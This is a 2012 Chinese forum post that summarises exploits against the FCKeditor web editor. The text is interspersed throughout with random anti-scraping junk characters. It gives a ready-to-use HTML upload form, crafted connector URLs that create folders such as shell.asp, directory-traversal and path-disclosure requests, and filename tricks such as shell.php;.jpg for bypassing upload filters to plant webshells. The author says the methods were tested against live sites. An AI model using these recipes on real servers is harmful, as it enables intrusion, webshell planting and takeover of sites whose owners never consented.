Fckeditor漏洞利用总结
- B. m! X- o3 K% U查看编辑器版本
4 j) R+ U2 l$ T% K9 L8 ?, b& xFCKeditor/_whatsnew.html$ v$ Y4 a; O- O- {
—————————————————————————————————————————————————————————————
- y6 j. e8 Y* C7 q( i3 `
7 v: t3 H+ I4 E# A9 h- j$ [2. Version 2.2 版本( T1 W! I- n: g; t, `
Apache+linux 环境下在上传文件后面加个.突破！测试通过。" D2 s6 r# t2 x. ?" f0 i5 k" `
—————————————————————————————————————————————————————————————( S+ {; |1 t) g0 m
0 D ?' }; W9 p6 Q
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
0 e" x! C/ t& p: V2 q: S<form id="frmUpload" enctype="multipart/form-data"1 |% c9 g) K# z, L2 ?
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>3 H' X* T/ A" T0 r. s2 M6 Y% n4 @
<input type="file" name="NewFile" size="50"><br>
8 A5 v4 ~4 R+ d3 _% D7 c/ A: C<input id="btnUpload" type="submit" value="Upload">
7 _6 y4 G5 d# I& J' G9 j</form>
0 k, x& Q' s: U. {0 t—————————————————————————————————————————————————————————————
" a* }, t* d6 U' p7 d7 C' W+ r5 M3 }) s9 U. O
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法, U) u3 ?- w e* s2 r9 ]9 k* E+ o: y# n
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。5 L+ m" `2 a6 |
4.1：提交shell.php+空格绕过- O# U4 L; s7 ?' l$ E7 j
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。& P6 {2 [. [' m0 c% d
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。& S- l8 J0 {. s; y1 F3 Y
—————————————————————————————————————————————————————————————/ F& O1 G6 ?& U# i5 ]
& I) T% ]+ n- G8 \4 H5 h
5. 突破建立文件夹
1 _ Z+ D$ s' ~( \% z& V% @4 EFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756849 y* J3 S) s, r" P
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
) i( O% X- D" R5 g( ~—————————————————————————————————————————————————————————————1 R* P/ k0 a0 D# I
" n* S0 w- j% L3 b/ E( ?3 G G
6. FCKeditor 中test 文件的上传地址& Z0 {! @2 H3 Z+ R/ P1 x4 W: _' q' J
FCKeditor/editor/filemanager/browser/default/connectors/test.html: z4 N |! ?7 ^2 ]6 o1 `
FCKeditor/editor/filemanager/upload/test.html
5 `, \. B- ~* \; a) ~% v3 a$ T: }8 E3 N9 IFCKeditor/editor/filemanager/connectors/test.html
. ]3 o* Q( n! jFCKeditor/editor/filemanager/connectors/uploadtest.html: R/ g$ B. j$ D0 L' t
—————————————————————————————————————————————————————————————
1 }5 `8 Y9 r# \, b5 s: p4 y# x
; \) V0 E& m# f: D' } ]" T* N N7.常用上传地址
/ n' K; J5 B' N; i0 ^4 v' @1 iFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/* m0 I% T2 F4 X" p3 K3 w |, \
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
5 y8 t: \- W) o# r. F6 MFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
0 P+ d( ?- V5 p- {5 W L; X: cJSP 版：
- @/ m" w# a/ c3 j& |: W8 VFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp& T- A9 C! y o
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
' v' Y- X: e h件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
! l3 A7 g, u$ L% l—————————————————————————————————————————————————————————————1 p n! N& T3 k' }
) E" n1 R6 D; c- S. ]% V2 c8.其他上传地址+ C. F R- Q1 n! [! i
FCKeditor/_samples/default.html
- @- S2 ? s7 v4 b2 l$ _FCKeditor/_samples/asp/sample01.asp
( q& Y9 C* J" FFCKeditor/_samples/asp/sample02.asp
1 t: w. i3 H' s; L" HFCKeditor/_samples/asp/sample03.asp6 l! v6 w2 j9 Z2 @; V1 Y. c9 ? X5 I R
FCKeditor/_samples/asp/sample04.asp- C/ c6 ]0 [0 A
一般很多站点都已删除_samples 目录，可以试试。
" C4 w: P% j" x( W7 ~$ M& X# mFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。+ @2 C$ }8 B8 y% P( s2 m
—————————————————————————————————————————————————————————————
! x3 i* o' P) v5 k
, Y" C" X5 z* R8 X9.列目录漏洞也可助找上传地址& P0 i' y8 L% w$ E8 o1 i
Version 2.4.1 测试通过/ S! T! V4 K; o+ O: F2 b- ?+ o) N# `- }
修改CurrentFolder 参数使用 ../../来进入不同的目录# {: k; i2 d7 C$ b f+ \8 c
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
- }! R$ t$ A$ L9 r: b+ l) T根据返回的XML 信息可以查看网站所有的目录。9 A7 i" o6 K+ F0 Q6 D$ w- Z
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
* n: \5 O" {! S7 d+ ?3 L& H也可以直接浏览盘符：0 n+ o+ ^7 c8 w/ N( L
JSP 版本：
$ r$ C/ j, D/ U0 W5 ~! K4 j* D) {* @FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
; j: ~% g# F7 C# }( `—————————————————————————————————————————————————————————————3 v7 B2 L: k" g- h" L
8 T3 r. ~' U. t- @8 i$ o& `" H
10.爆路径漏洞
- D! [ ]! D/ wFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp4 o' o. f% f f. ]2 R
—————————————————————————————————————————————————————————————# y: n `5 b3 b# U- c+ s! H
3 N$ x, b! n( p2 y5 A; s
11. FCKeditor 被动限制策略所导致的过滤不严问题
2 t1 i# T8 y/ ?2 k8 P( L 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
/ i; ~3 r$ I4 x/ M- l4 J `脆弱描述：
5 @8 V5 H/ E% q% c0 RFCKeditor v2.4.3 中File 类别默认拒绝上传类型：
0 i' P8 c9 R5 w6 Ahtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm U, Y/ s. f( s/ h0 ^$ i& a! c
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
, l. I0 w' \8 y4 t) k! F 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。6 `8 u2 p- s& I2 ?+ c
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!0 f7 ~$ z" w4 I, |4 r
—————————————————————————————————————————————————————————————
, g8 H' {6 Y- M( s/ ^6 @. F
7 M9 R1 f) p3 ~) E# D12.最古老的漏洞，Type文件没有限制！( o9 ?& N; ?2 F. V& s. g* Z9 C
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ / n- P) q) f( J& q# C u2 J
—————————————————————————————————————————————————————————————) b; v) m- h3 X2 T" c
- b/ R9 \! L* a, I+ ]
===============================================================================================================================================( z" R" p( y* A9 o6 Q
2 K8 c+ k U* {1 r
FCK编辑器jsp版本漏洞：4 S o3 ~. h$ F) h5 g
% a3 T' ]% s. A! e: o. i$ }
X' c$ M, n: k1 u7 v! Q I" Ahttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
2 I0 j0 r- r: T x$ k f! }
) {9 l1 j; }$ P: F2 N上传马所在目录' [! ?6 U$ s! v7 W- t
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/) _8 h/ [- P8 \. I
上传shell的地址:
0 G# R0 T4 m, N& K" thttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector" L4 b6 X$ S' D/ N3 T/ I3 ^) H$ u
跟版本有关系.并不是百分百成功. 测试成功几个站.1 }% k$ c+ Y, D* U
不能通杀.很遗憾.9 \ D* G6 t' q" d
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
# v7 T8 ]& t5 b# G. {% x# {如果以上地址不行可以试试6 n: S# l0 A9 L- n3 u
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
' e( }5 V. j) G4 n" hFCKeditor/_samples/3 g! O" R, T* h& i3 ?. i
FCKeditor/_samples/default.html
! l6 x* e# P% D' r* C- R. aFCKeditor/editor/fckeditor.htm/ O* V: f( X, o
FCKeditor/editor/fckdialog.html
' q+ ?# k, e0 y
) q# ?& Y! T1 v6 p8 w/ _, U: o' Z% S4 v& b( W( x
& l- [! |: A8 P& S
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
^6 _! `8 O2 j9 H/ \6 k x |
发表于 2012-9-13 17:01:39
收藏
支持
反对